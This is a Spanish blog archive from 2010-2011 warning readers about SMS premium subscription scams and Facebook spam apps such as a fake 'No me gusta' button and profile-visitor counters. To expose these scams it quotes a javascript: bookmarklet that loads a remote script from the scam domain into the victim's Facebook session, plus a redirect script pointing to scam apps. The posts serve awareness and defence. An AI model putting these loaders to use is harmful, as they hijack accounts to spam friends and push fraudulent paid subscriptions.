Mostrando entradas con la etiqueta Scam (Estafa). Mostrar todas las entradas
Mostrando entradas con la etiqueta Scam (Estafa). Mostrar todas las entradas

viernes, 4 de noviembre de 2011

El timo de las Alertas SMS y los SMS Premium

Este tipo de timos existen desde hace bastante tiempo, pero el uso de las redes sociales y la facilidad de suplantar a un usuario en redes como Facebook hacen que se propaguen con extrema rapidez, más aún cuando el mensaje que reciben los usuarios proceden de un amigo o conocido en el que confían.

¿Qué son los SMS Premium y las Alertas SMS?
Los SMS Premium son mensajes de texto por los que el usuario paga un precio superior al de la tarifa normal, a cambio de recibir un servicio añadido (un tono, un juego o la participación en un concurso). En cambio, las Alertas de SMS son servicios de suscripción por los que el usuario paga por cada mensaje que recibe en su terminal.

Los SMS Premium se han convertido en una forma habitual de pagar servicios u obtener ingresos extraordinarios a través del “sistema de micropagos”; mientras que, desafortunadamente, las Alertas SMS han degenerado en su mayoría en sistemas fraudulentos de obtener dinero de usuarios inexpertos de telefonía móvil.

En el caso de los SMS Premium, el negocio consiste en ofrecer al usuario de telefonía móvil una serie de servicios y contenidos digitales (juegos, tonos, fondos de pantalla) para su terminal, que se pagan mediante el envío de uno o una serie de mensajes de texto. El precio de éstos se incluye en la factura del mes y tienen un coste muy superior al habitual: un sms tradicional cuesta unos 0,12€ - 0,15€ (aprox.); en cambio, un sólo SMS Premium puede llegar a alcanzar 1,20 - 1,50 euros.

La recepción de mensajes con coste (Alertas SMS):
Una de las modalidades más lucrativas de servicios SMS consiste en las Alertas SMS, es decir, en la recepción por parte del cliente de mensajes con coste. El usuario, animado por el sorteo de un coche o un premio en metálico, envía la palabra ALTA a un número de 4 ó 5 cifras. Inmediatamente, el número de móvil de este usuario pasa a formar parte de una lista de distribución, a la que la empresa de turno enviará una cantidad indeterminada de mensajes por los que cobrará entre 0,15 y 0,50€ por cada SMS recibido por los usuarios, hasta un máximo de 18 - 34€/mes dependiendo de la compañía.

El engaño reside en que al cliente nunca se le avisa de que va a suscribirse o se ha suscrito a un boletín de pago por el que va a recibir 30 mensajes por semana, al coste de 0,15 euros por SMS recibido. En otras ocasiones, sí se le advierte pero por medio de una frase en scroll horizontal al pie de la pantalla, una ventana emergente o similares métodos de difícil lectura. Asimismo, aunque resulta habitual que la compañía responsable del envío de los SMS remita al usuario en una primera comunicación, tras el alta de éste, las instrucciones para gestionar la baja del servicio, los usuarios suelen eliminar siempre este mensaje a su recepción, por lo que a partir de ese momento no tendrán ni podrán conseguir información sobre cómo darse de baja.

Al no conciencia de haberse dado de alta y con la sensación general de que el que envía los mensajes es el que los paga, el usuario se despreocupa y pasa un poco de los mensajes recibidos, lo que hace que el primer mes llegue la sorpresa. Cuando se intenta reclamar, la desinformación general es la principal baza con la que juegan estos servicios de Alerta SMS. Y la mejor forma de lograrla es mediante el empleo de datos falsos de contacto, oficinas de información sin personal que hable el idioma del cliente y una larga lista de intermediarios nacionales y extranjeros que hacen prácticamente imposible al usuario encontrar la fuente de los mensajes.

Proliferación de los timos telefónicos


La publicidad, en general
En general, cualquier usuario que disponga de una web, un blog y, en general, cualquier medio en Internet (incluidos vídeos, juegos, etc...), puede añadir publicidad a su contenido. Esto genera algunos ingresos por cada persona que pinche en la publicidad generalmente son pocos los usuarios que pinchan en la publicidad (del orden del 0,5%) y el ingreso por cada clic puede variar entre 0,01€ y 0,35€ dependiendo del anuncio en el que han pinchado.

Esto hace que muchos webmasters inserten artificios, como el Clickjacking, para que, siempre que, un usuario visite sus páginas se abra también una página con publicidad. Esto está permitido por muchas empresas de publicidad sin escrúpulos o, simplemente, miran para otro lado, ya que ellos también cobran por cada vez que se muestra el sitio publicitado (solamente se reparte un porcentaje de lo que la empresa de publicidad cobra por cada vez que se muestra la página correspondiente).
Nota: Los ingresos que genera una publicación en Internet por cada persona que pinche en la publicidad son prácticamente irrisorios, a no ser que sea un sitio de referencia con gran alcance (en cuyo caso, tampoco creo que sea para retirarse), de modo que, no crees un blog con la idea de hacerte rico, créalo solamente si tienes algo que compartir con el mundo.
AdSense: Un caso de buenas prácticas.
Otras en cambio, como es el caso, por ejemplo, de AdSense de Google, te indican claramente puntos como:
"Los editores no pueden hacer clic en sus propios anuncios ni utilizar medios para inflar de forma artificial las impresiones o los clics, incluido cualquier tipo de método manual."
"Los editores no pueden pedir a otras personas que hagan clic en sus anuncios ni utilizar métodos engañosos para conseguir clics"
Si se incumplen las Políticas del programa Google AdSense, sin autorización de Google, se inhabilita la publicación de anuncios en el sitio web y se inhabilita la cuenta de AdSense, eliminando igualmente la posibilidad de poder participar en el programa AdSense en el futuro. Además, las políticas del programa AdSense, se van actualizando constantemente, tanto para evitar nuevos fraudes como para incorporar las políticas de nuevos productos publicitarios como "AdSense para Juegos" o "AdSense para Vídeos".

A cambio, la empresa es la que se encarga de que los anuncios que aparezcan en el sitio indicado guarden relación con el contenido o sean de interés para el tipo de usuarios que visita la web, siendo este el principal activo para conseguir clics.

¿Como se "ordeña" Internet?
Hasta aquí, se ha discutido sobre la publicidad en general, que aunque nos obligue a ver algún anuncio, en general no genera ningún perjuicio al usuario y, son las empresas que contratan la publicidad las que se ven perjudicadas con un importante coste en visitas que no tienen ningún tipo de interés por lo publicitado.

En el caso de las empresas que se dedican a ofrecer servicios SMS Premium o Alertas SMS, generalmente, se ofrece un anuncio o varios anuncios para insertar en la web, se da la opción de que sea el webmaster el que redacte y/o envíe los SMS, o que sea un sistema automático el que los envíe en función de una serie de categorías (como podría ser chistes, noticias, logos, etc...).

En el momento de introducir el número de teléfono, debe insertarse un texto en el que se indica todas las condiciones, pero... como el webmaster sabe que el usuario no pondrá el número de teléfono si lee el mensaje, generalmente suele ponerlo al final de la página (en una posición que muchas veces queda fuera de la zona visible a simple vista), o en un color tan parecido al color de fondo que cuesta trabajo apreciarlo a simple vista, lo inserta como parte de una serie de pasos para poder acceder a algún contenido, de modo que el usuario a ir buscando el contenido indicado pasa rápidamente por el paso sin prestarle gran atención, etc...


Una vez que se ha introducido el teléfono, te llega un mensaje con un código que al ser insertado te dará acceso al contenido (al menos en teoría), pero que en realidad ha servido para que la empresa que ofrece el servicio SMS Premium o Alerta SMS, confirme que estás de acuerdo en la suscripción al servicio.

De este modo, te habrás dado de alta y confirmado tu consentimiento sin saber exactamente como ni cuando lo has hecho, ya que el ser un paso en el proceso queda algo difuminado en el recuerdo, aunque la próxima vez que lo veas, si que te dará hasta grima.

Como en el caso de la publicidad convencional, la persona que te ha suscrito se lleva un porcentaje de los beneficios, pero en este caso, y mientras los usuarios se dan de baja, o no, son unos ingresos mensuales bastante más importantes que los recibido por publicidad.

Aún, si te das cuenta de inmediato y conoces el mecanismo para darte de baja, te habrán enviado el mensaje de alta, un par de mensajes promocionales y habrás tenido que enviar los mensajes correspondientes para darte de baja y confirmar que te quieres dar de baja, en total la broma te puede salir unos 10€ sin que hayas estado de alta más que unos minutos, de los cuales el timador se llevará su porcentaje.

Este tipo de timos existen desde hace bastante tiempo, pero el uso de las redes sociales y la facilidad de suplantar a un usuario en redes como Facebook hacen que se propaguen con extrema rapidez, más aún cuando el mensaje que reciben los usuarios proceden de un amigo o conocido en el que confían. Esto podría evitarse, desde la propia red social, si se preocuparan un poco por comprobar las aplicaciones que desarrollan los usuarios.

Compártelo con tus amigos

lunes, 16 de mayo de 2011

SPAM-Hoax-Scam: Botón No Me Gusta y Visitas al Perfil

Hay varios nuevos Hoax (timos) en Facebook, relacionados con el botón "No me gusta" y los contadores de visitas al perfil.

Facebook se niega a informar de las visitas y ha incluir el botón No me gusta
Como ya hemos comentado en otras ocasiones, Facebook ya se ha encargado de que no se pueda saber las personas que visitan un perfil (como se comentó en el artículo "Contadores de visita en Facebook"), ya que esto va contra su política (¿pero Facebook tiene alguna política? Pues parece que sí, pero en ningún caso pretende favorecer a los usuarios, sino vender sus datos al mejor postor y dentro de esta política, no cabe la posibilidad de que los usuarios sepan los usuarios que visitan su perfil).

Con respecto al botón, "No me gusta", Facebook ha indicado que dicho botón tienen muchas connotaciones contraproducentes y no es sencillo de interpretar, de modo que no va a implementarlo bajo ningún concepto. Además, sería contraproducente para Facebook que se pudiera poner el "No me gusta" a cualquier tipo de contenido, Marcas, etc... ya que podrían perder un buen filón, ya que las marcas, solamente reciben "Me gusta". ¿Qué pasaría que permitiera poner el "No me gusta" a una marca, publicidad, etc...? Pues que, directamente, podrían perder muchos ingresos (por publicidad) de las marcas peor valoradas.

¿Por qué tanto interés en que se pulse en el "Me gusta"?
El tema es muy sencillo, al margen de que al pinchar en el "Me gusta" se crea un enlace en tu perfil que hace que tus amigos vuelvan a caer en el timo y de que se infle ficticiamente la cantidad de usuarios de la página. Se consigue que dichas páginas aparezcan mejor posicionados en los buscadores de Facebook y Bing, tal y como se indica en los artículos "El buscador de Facebook se basará en la cantidad de "Me gusta"" y "Bing también usará los "Me gusta" de Facebook", lo hace que algunas empresas de SEO sin escrúpulos lo utilicen para engañar a sus clientes, ya que a pesar de posicionar las páginas en los buscadores, consiguen que la página se clasifique como SPAM, Hoax, etc... incluso antes de nacer.

Aclarado que Facebook no está por la labor.
Una vez aclarado que Facebook no está por la labor de implementar estos mecanismos y mucho menos facilitarlos a desarrolladores independientes los mecanismos necesarios, vamos a ver los nuevos ataques detectados. En esta ocasión, en vez de hacer que concedas permiso a una aplicación para que pueda hacer lo que quiera, te pide que pegues una línea en tu navegador, que hace que seas tu quien haga SPAM a todos tus amigos sin las limitaciones propias de las aplicaciones de Facebook.

Visitas al perfil (http://facebookescaner.com)
Este caso aparece en el perfil de todos tus amigos con el mensaje:
Dios mio! No puedo creer que estuviera 59 horas en el Facebook este mes, y parece que 253 personas han visto mi perfil. Clicka el texto en azul de abajo que pone 'Escanear mi perfil' si quieres saber cuantas horas estubiste y lo popular que eres TU.
Las cantidades, se modifican manualmente por el programador de la web y son datos estáticos, es decir, a todos los que entren en el mismo momento les pone los mismos valores. La página en cuestión tiene la siguiente apariencia
El "texto" que te pide que copies, es una aplicación JavaScript, o lo que es lo mismo un pequeño programa que se va a ejecutar sobre el perfil de Facebook. Dicho JavaScript, realmente lo que hace es cargar otro Script mucho más complejo y que no hace nada de lo indicado.
Para los que no tengan mucha idea al respecto, en el código JavaScript de la imagen lo que se hace es:
  1. En la línea 1 (y antes de hacer cualquier cosa) se indica cual es el mensaje que se va a poner en el perfil de todos tus amigos.
  2. Luego, en las líneas de la 9 a la 18, recoge una lista con todos tus amigos.
  3. En las líneas 19 a 39, se encarga de mandar el mensajito de marras a todos tus amigos.
  4. En la línea 42 te indica que tienes que seguir los pasos para recibir la información.
  5. Por último, te reenvía a otra web en la que te darás de alta en un servicio de pago por recepción de SMS, en el que, con solo introducir tu número de teléfono te habrás suscrito. Las condiciones de este servicio son un precio de 1,42€ por cada SMS y no te envían más de 10 SMS a la semana, o lo que es lo mismo 56€ al mes por cada persona que pique.

Además, promociona dos páginas de Facebook (Advertencia y Sugerencias), que actualmente aparecen en blanco, pero de cuyo futuro contenido no me fío mucho. Abajo tenéis los "Me gusta" en marrón/naranja, por si deseáis eliminarlo de la lista de páginas que os gusta.

De todos modos, ante lo escandaloso del asunto, supongo que Facebook no tardará en eliminarlas, en cuyo caso, os pueden aparecer cosas extrañas.

Advertencias
Sugerencias

No Me Gusta (http://www.botonnomegusta.es)
Este caso aparece en el perfil de todos tus amigos con el mensaje:
Que bien, Facebook ha puesto por fin el boton NO ME GUSTA, si quieres tenerlo tu tambien pulsa en el boton que sale aqui abajo, que dice Instalar NO ME GUSTA.
Este mensaje puede variar, pero sea cual sea su construcción, debéis saber que no es posible poner el botón "No Me Gusta" y que si Facebook en algún momento decide ponerlo será porque le interesa y lo pondrá para todos.
En este caso al pulsar en "Copiar", se copia un JavaScript al portapapeles, que al pegarlo en el navegador y ejecutarlo llama a otro Script, como el de la imagen. Como podréis comprobar son prácticamente idénticos, salvo en las direcciones a la que te envía, el mensaje en cuestión y poco más.

¿Cómo podéis obtener estos Scripts?
Sí queréis ver los Scripts que se van a lanzar realmente, debéis de coger el texto que os han pedido que peguéis en el navegador y pegarlo en un editor de texto plano y obtendréis algo como esto:
javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://botonnomegusta.es/nomegusta.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();
Lo que hace este Script es insertar un programa (Script) dentro de la página de Facebook en la que estamos. Dicha página, en este caso, aparece como botonnomegusta.es/nomegusta.js. Si pones en el navegador view-source:http://botonnomegusta.es/nomegusta.js, podrás ver el código que se va a ejecutar al pegar el texto en el navegador. NO LO EJECUTES SI NO SABES LO QUE HACE.

Comparte este artículo
Si eres de los que se han visto invadidos por los mensajes de tus amigos, si te ha servido la información o conoces alguien a quien le haga falta, comparte el artículo para que las personas que hayan propagado los mensajes puedan tomar las medidas oportunas.

lunes, 28 de marzo de 2011

SPAM-Hoax-Scam: ComparteFx, OcioFx, GratisFx, etc... crean tus mensajes virales

Desde hace algún tiempo, están apareciendo en Facebook mensajes compartidos a través de la aplicación ComparteFx, que deberíais bloquear (en el artículo "Como bloquear una aplicación en Facebook" tenéis más información al respecto).

Esta aplicación se utiliza para compartir enlaces, de modo que, desde la página Ociofx.com al pulsar en el texto "Compartir con mis amigos en Facebook", se nos pide permiso para:

  • Acceder a mi información básica: Puede ver todos tus datos (aunque hayas protegido tu información) y la mayoría de los datos de tus amigos, así como todas las fotos que hayas subido o en las que estés etiquetado.
  • Enviarme correo electrónico: Puede enviarte cualquier correo que desee. Generalmente se pide para pasar información, en ciertos tipos de aplicaciones, pero en este caso no hay nada que pasar, aunque probablemente estaría pensado para enviar SPAM, lo que pasa es que al acceder a toda tu información ya tienen acceso a la dirección de correo electrónico, de modo que pueden enviarte SPAM sin tener que poner en entre dicho a la propia aplicación.
  • Publicar en mi muro: Esto le permite a la aplicación publicar mensajes en tu muro, SIN TU APROBACIÓN, pero ¿qué tipos de mensajes va a publicar en mi muro? No informa de ello en ningún momento. Además, también permite que se publiquen mensajes y enlaces en el muro de tus amigos sin informarte.
  • Acceder a publicaciones de Últimas noticias: Le permite ver todo lo que se publica en nuestro muro o en el de cualquiera de las personas o páginas que seguimos.
  • Acceder a mis datos en cualquier momento: Damos permiso para que vean nuestro perfil, datos, publicaciones, etc... aunque no estemos conectados, es decir, le permitimos que gestione nuestro perfil cuando no estamos.


Pero, ¿donde está la declaración de intenciones?
Puede que nos interese en algún momento dar todos estos permisos a una aplicación que vaya a realizar alguna operación interesante sobre nuestro perfil (para saber si nos interesa, o no, la funcionalidad de la aplicación deberíamos tener inicialmente una declaración de intenciones que se han "olvidado" de poner).

¿Qué es lo que hace esta aplicación?
Pues, según el enlace a la misma lo único que hace es "Compartir con mis amigos de Facebook", pero eso es una de las funcionalidades básicas de Facebook y no requiere se desarrollo una aplicación a parte para ello. Además, tampoco es necesario pedir ningún tipo de permiso para ello.

Origenes
La primera vez que vi esta aplicación, fue en la página No al cierre de webs, donde nos vendían la cabra para oponerse a la ley SINDE (que particularmente, tampoco me hace ni pizca de gracia). En otras páginas relacionadas informaban que este es el mecanismo definitivo para "generar campañas virales", efectivamente, pero "campañas virales" sobre los asuntos que le vengan en gana a las personas que manejan la aplicación, que podrán publicar indiscriminadamente en el muro de todos los usuarios y sus amigos, así como bloquear otras campañas virales eliminando las publicaciones que no les gustara.

La gran equivocación
En su momento, creé un perfil falso que convertí en amigo de otro perfil falso. Con el paso del tiempo a sucedido esto.


Pero, ¿donde está esta funcionalidad en la página de OcioFx? Pues muy sencillo, la aplicación se encarga de publicar en el muro del otro usuario sin previo aviso.

Como en otras ocasiones, os invito a probar la aplicación SocialBrowser. Ahí podéis publicar en vuestro muro y en el de vuestros amigos, pero ¿qué permisos pide? NINGUNO, no es necesario pedir permisos para ello, ya Facebook se encarga de solicitarlos para cada publicación individual.

Una nueva funcionalidad, aun en desarrollo te permite personalizar totalmente el modo en el que los usuarios comparten las publicaciones en sus muros. Podéis verla en funcionamiento en "Me gusta o NO me gusta" y podéis comprobar que tampoco es necesario dar ningún permiso.

Comparte el artículo
Si eres de los que se han visto invadidos por los mensajes de esta aplicación, comparte el artículo para que las personas que hayan propagado la aplicación puedan tomar las medidas oportunas.



jueves, 3 de marzo de 2011

SPAM-Hoax-Scam: Las 5 cosas que toda chica hace antes que se encuentre con su novio - jajaj

Hace unos días, se publicó esto en mi perfil de Facebook, en vista del mensaje me puse a comprobarlo y le comenté al responsable que era otro de tantos timos que hay en el Facebook. El tema ha ido creciendo, varios amigos me han comentado que han denunciado la aplicación, pero al parecer Facebook está pasando ya un poco del tema del malware, ya que:
  1. Las aplicaciones denunciadas no se están bloqueando convenientemente.
  2. Algunas aplicaciones que anteriormente habían dejado de funcionar vuelven a estar activas.
  3. Algunas páginas, denunciadas infinidad de veces, no se están bloqueando.
  4. Facebook no está bloqueando ciertos "Me gusta" de páginas de SPAM. Si vais al artículo "GUSANO: Te reto a ver esta página sin reírte!! (Ataca de nuevo)" veréis que hay ciertos "Me gusta" que no funcionan porque Facebook los bloqueó en su momento, en cambio el resto sigue teniendo su contador corriendo.

Las 5 cosas que toda chica hace antes que se encuentre con su novio - jajaj (www.las-chicas.es)


Este enlace te envía a una página que lo único que hace es redireccionarte a una aplicación de Facebook, que no tiene por que ser siempre la misma, de modo que si vuelves a entrar es posible que te salga otra. El contenido actual de la página de entrada es el siguiente:

<script type="text/javascript">


    // pana1 - pana10
    var apps_fausto = new Array (
        "http://apps.facebook.com/prapela/");


    // ixp1 - ixp10
    var apps_fausto2 = new Array (
        "http://apps.facebook.com/prabala/");


    // esp1 - esp10
    var apps_fausto3 = new Array (
        "http://apps.facebook.com/tubitor/",
        "http://apps.facebook.com/xinmiel/",
        "http://apps.facebook.com/vanvend/",
        "http://apps.facebook.com/dallile/",
        "http://apps.facebook.com/pernove/",
        "http://apps.facebook.com/xuguele/",
        "http://apps.facebook.com/donners/",
        "http://apps.facebook.com/figanor/",
        "http://apps.facebook.com/viroleg/");


    var apps_animal = new Array
        ("http://apps.facebook.com/ummadruga/",
         "http://apps.facebook.com/doismeiodia/",
         "http://apps.facebook.com/tresmadruga/",
         "http://apps.facebook.com/quatromadruga/",
         "http://apps.facebook.com/cincomadruga/",
         "http://apps.facebook.com/seismadruga/",
         "http://apps.facebook.com/setemadruga/",
         "http://apps.facebook.com/oitomadruga/",
         "http://apps.facebook.com/novemadruga/",
         "http://apps.facebook.com/dezmadruga/",
         "http://apps.facebook.com/onzemeiodia/",
         "http://apps.facebook.com/dozemadruga/",
         "http://apps.facebook.com/trezemadruga/",
         "http://apps.facebook.com/quatorzemadruga/",
         "http://apps.facebook.com/quinzemadruga/");


    var urls = apps_fausto.concat(apps_animal, apps_fausto2, apps_fausto3);


    function redirect()
    {
        window.location = urls[Math.floor(urls.length*Math.random())];
    }
</script>
<body onLoad=redirect();>
</body>
Que, para los no entendidos, son 26 aplicaciones a las que se nos redirecciona aleatoriamente. En estas aplicaciones se nos pide que seleccionemos que regalo queremos y, a continuación, nos piden el número de teléfono, pero si leéis la letra pequeña que aparece en la parte baja de la página te cobran 1,42€ por cada mensaje que te envían, más el coste de navegación wap (dicen que no te enviarán más de 10 mensajes a la semana, que a lo tonto a lo tonto son, más o menos, 56€/mes).

De todos modos si no caes en el timo, las aplicaciones piden los siguientes permisos:
  1. Acceder a mi información básica. Esto lo es automático y lo añade Facebook cada vez que se solicita cualquier permiso, es decir, aunque no se vayan a leer esos datos, Facebook pide ese permiso por defecto.
  2. Publicar en mi muro. Permitimos que la aplicación pueda publicar en nuestro muro siempre que lo desee sin pedir autorización (aunque se de este permiso, Facebook, sólo permite a la aplicación enviar 20 publicaciones diarias). No deberíamos utilizar ninguna aplicación que pidiera este permiso sin saber primero con claridad que es lo que va a publicar en nuestro muro, ya que una aplicación siempre puede publicar en tu muro pidiendo la autorización correspondiente por cada publicación individual.
  3. Acceder a mis datos en cualquier momento. Esto permite que los promotores de la aplicación puedan acceder a tu perfil y a todas las publicaciones de tu muro y del de tus amigos siempre que desee, de modo que pueden volver a publicar en tu muro mientras duermes.


En general, no se debería utilizar ninguna aplicación que no nos indique claramente que es lo que hace antes de pedirnos los permisos correspondientes, como ejemplo, para avanzados y nóveles podéis ver la aplicación SocialBrowser, en ella podéis acceder a algunas utilidades (actualmente todas) sin conceder ningún tipo de permiso a la aplicación, aunque en breve se pondrán en marcha algunas utilidades para la que sí será necesario y se informará puntualmente.

¿Como nos protegemos frente a estas aplicaciones?
En vista de que Facebook se está limpiando las manos al respecto, es necesario realizar algunas actuaciones al respecto, basándonos en todo lo que ya sabemos:
  1. ¿Estoy a salvo si no utilizo la aplicación? No. Ya que como vimos en el artículo "Como eliminar los permisos a una aplicación de Facebook" hay muchos datos nuestros a disposición de las aplicaciones a través de nuestros amigos. Si le has dado permiso a algunas de las aplicaciones puedes quitárselos como se indica en dicho artículo.
  2. Es conveniente denunciar la aplicación en el enlace que aparece en la imagen de arriba bajo a la lista de permisos, aunque no siempre funciona y cuando funciona Facebook no le hace mucho caso, así que para mayor eficiencia pasamos de esto.
  3. ¿Bloqueamos las aplicaciones? Sí. En todas las pruebas que llevo hechas al respecto, cuando un usuario bloquea una aplicación, dicha aplicación no puede acceder a sus datos, sea quien sea la persona que use la aplicación, de modo que si bloqueamos la aplicación no verán nuestros datos la use quien la use.
Si queréis bloquear las aplicaciones aquí os dejo los enlaces, todas ellas a pesar de ser idénticas internamente (todas se llaman web móvil), todas son distintas aplicaciones:

http://apps.facebook.com/prapela/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/prabala/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/tubitor/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/xinmiel/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/vanvend/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/dallile/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/pernove/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/xuguele/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/donners/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/figanor/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/viroleg/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/ummadruga/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/doismeiodia/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/tresmadruga/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/quatromadruga/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/cincomadruga/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/seismadruga/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/setemadruga/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/oitomadruga/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/novemadruga/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/dezmadruga/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/onzemeiodia/Página de la Aplicación          No funciona
http://apps.facebook.com/dozemadruga/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/trezemadruga/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/quatorzemadruga/Página de la AplicaciónBloquear aplicación
http://apps.facebook.com/quinzemadruga/Página de la AplicaciónBloquear aplicación
Comparte el artículo
Si eres de los que se han visto invadidos por los mensajes de estas aplicaciones, de los que quieren que Facebook se ponga un poco más alerta, de los que no quieren que sus datos anden por todo Internet, de los que tienen el típico amigo que prueba todas las aplicaciones, etc... comparte el artículo para que las personas que hayan propagado toda esa información puedan tomar las medidas oportunas para que no vaya a más y las que no lo hayan hecho, protejan su perfil.




Actualización 05/03/2011
OJO: Mientras escribía el artículo cambiaron la lista de aplicaciones, inicialmente eran 37, luego las 26 que se indicaron en el artículo.

Ahora hay otras 37 aplicaciones nuevas, pero todas ellas se llaman web móvil, así que atentos al tema.

Podéis ver las que hayan puesto en este pomento con el siguiente enlace. Código fuente de www.las-chicas.es

En breve, os indicaré como bloquear las aplicaciones a partir de la información obtenida de las direcciones que se extraen del código fuente. Uníos a la página Tecnoenredados para estar al día.


Actualización 07/03/2011
En el artículo "Como bloquear una aplicación en Facebook", tenéis el método a seguir para bloquear las aplicaciones que creáis conveniente.

miércoles, 2 de febrero de 2011

Badoo, Inteligent Elite,... roban datos de los usuarios a Facebook

Desde hace tiempo, el perfil de Facebook de cualquier usuario está plagado de mensajes de una aplicación llamada Badoo, anteriormente fue otra aplicación llamada Intelligent Elite, etc....

En realidad son dos redes sociales, en guerra abierta por hacerse un hueco dentro de las redes sociales, sin ningún miramiento por la protección de datos, privacidad, etc...

La aplicación que puso en marcha esta red social, se basaba en hacer un test de inteligencia, proceso en el cual, ya recogían muchos datos de tu perfil de Facebook (o de Twitter, ya que también hay una aplicación en este ámbito con el mismo fin). Una vez realizado el test, tenías que acceder a la propia red social para ver el resultado de la encuesta.

Al final de todo el proceso tenías una cuenta en una red social "reservada para gente inteligente" (según se define la propia red social). Como es normal, no tienes una contraseña, pero gustosamente te envían un correo para que puedas acceder y poner la que desees y, ya estás dado de alta con todas las de la ley, ya que en este último paso es donde se concede derecho sobre los datos que ya habían robado.

El caso de Badoo es muy parecido, salvo que no sé en que momento se ha concedido derecho sobre los datos, ya que entre los casos que conozco, así como en el artículo publicado por el cuerpo de Delitos Telemáticos de la Guardia Civil, los usuarios empezaban a recibir correos de solicitud de contactos por parte de otras personas que formaban parte de la red social, cuando ellos no habían llego a entrar en dichas redes con anterioridad.

  • ¿Cuantos de esos 100 millones de usuarios saben que están registrados en Badoo?
  • ¿Cuantos saben que están utilizando sus datos, fotos, etc... para atraer más contactos?
  • ¿Cuantos de ellos saben que realmente es un sitio de contactos y citas?
No me extrañaría que de aquí a un tiempo empiecen a haber divorcios a raíz de que: "Mi pareja está en Badoo, será que está planteándose dejarme, engañarme, etc...".

Y, por cierto, ¿Qué pasa con todas esas fotos que no queríamos que sólo queríamos que vieran ciertas personas? Como ya se indicó en el artículo "Como eliminar los permisos una aplicación de Facebook", si una persona que esté etiquetada en la foto ha dado permiso a la aplicación, entonces dicha aplicación también puede acceder a dicha foto.

Comparte el artículo
Si eres de los que se han visto invadidos por los mensajes de estas aplicaciones, comparte el artículo para que las personas que hayan propagado toda esa información puedan tomar las medidas oportunas.


miércoles, 19 de enero de 2011

Scam-Hoax-Facebook: ¿Quien a visto tu perfil y tus fotos?

Un nuevo mecanismo
Ya desde hace tiempo, alguna de las páginas Web que hemos mencionado como origen de virus, gusanos,  SPAM, etc, etc, etc... han ido cambiando su filosofía.

Cuando se hacía una página para propagar malware, esta terminaba siendo inutilizada por Facebook, bloquean los controles de "Me gusta" asociados a la página, de modo que aparecía el mensaje "Sé el primero de tus amigos al que le gusta esto.", cuando en realidad había cientos de miles de usuarios que ya lo habían marcado y que tenían el enlace en su perfil, algunos de los cuales estaban pensados para que fuera algo más complejo de eliminar de nuestros perfiles (En el artículo "Como eliminar ciertas páginas de nuestro perfil de Facebook" podéis ver como eliminarlos si aún tenéis alguno).

Como esto no llevaba a ningún lado, ya que el cracker al final se quedaba sin poder difundir su malware y tenía que volver a empezar con otra dirección web, en muchos casos se optó por crear varias páginas idénticas o parecidas y poner varios "Me gusta", de modo que cada vez que pinchas en uno de los correspondientes botones "Me gusta", se añadía una página a tu perfil. De este modo, al haber varias direcciones, se conseguía que si alguna de ellas era bloqueada por Facebook, el resto seguirían teniendo enlaces en los perfiles de muchos usuarios, como se puede comprobar aún a día de hoy visitando el artículo "GUSANO: Te reto a ver esta página sin reírte!! (Ataca de nuevo)", en el que uno de los enlaces ya ha sido redireccionado a una página con spam, que genera ingresos al cracker cada vez que se visita y que sigue sin estar bloqueada por Facebook. También se han utilizado los múltiples "Me gusta" para promocionar otras páginas con otros tipos de malwares, etc, etc, etc...


De modo que, además de poder espiar nuestros datos, y los de nuestros amigos, a través de las aplicaciones de Facebook que muchos usuarios utilizan (hay datos que pueden tener un valor elevado en el mercado negro), posicionan la página convenientemente para tener mayor cantidad de visitas. Como tampoco nos podemos fiar de estas otras páginas, ya que pueden cambiar en cualquier momento para difundir cualquier tipo de malware. Marcaremos dichas páginas en Marrón, para identificar páginas que, supuestamente, te gustan, pero que probablemente no has etiquetado voluntariamente.

Descubre Quienes Visitan tu Muro, Fotos y a Quien le Gustas! (www.fanafacebook.com)
Esta es la página que actualmente está difundiendo el scam de los contadores o identificadores de visitas al perfil y a las fotos de los usuarios, que como ya hemos mencionando anteriormente, no es imposible de realizar desde Facebook.

En ella, se muestran los últimos usuarios en utilizar la aplicación, que no es más que un rotativo de imágenes que no cambia nunca o, lo que es lo mismo, totalmente falso.

Tras realizar todas las acciones pertinentes y hacer la publicidad consiguiente a todas las páginas asociadas a los me gusta, lo único que hace el paso final es mostrar el siguiente mensaje, sin ninguna comprobación preliminar (si se hiciera una comprobación preliminar debería consultarse a Facebook desde la página antes de mostrar el mensaje, de modo que podemos afirmar que ¡¡No se realiza ninguna comprobación!!).


Los siguientes números identifican las páginas que se están compartiendo con cada uno de los "Me gusta".

0.- Scam (www.fanafacebook.com)
El enlace etiquetado con el 6, vuelve a compartir esta misma página.






1.- Scam: La propia página que publicita el Scam en Facebook (Descubre Quien ha Visitado tu Perfil y Fotos los Ultimos Dias)


2.- ¿Involuntariamente? (Página de Facebook: EIDCO - Escuela Iberoamericana de Cursos Online) 



3.- ¿Involuntariamente? (Página de Facebook: Sin Problemas)





Comparte el artículo
Si te ha servido la información o conoces a alguien a quien le haga falta compártela.


lunes, 29 de noviembre de 2010

GUSANO: Te reto a ver esta página sin reírte!! (Ataca de nuevo)

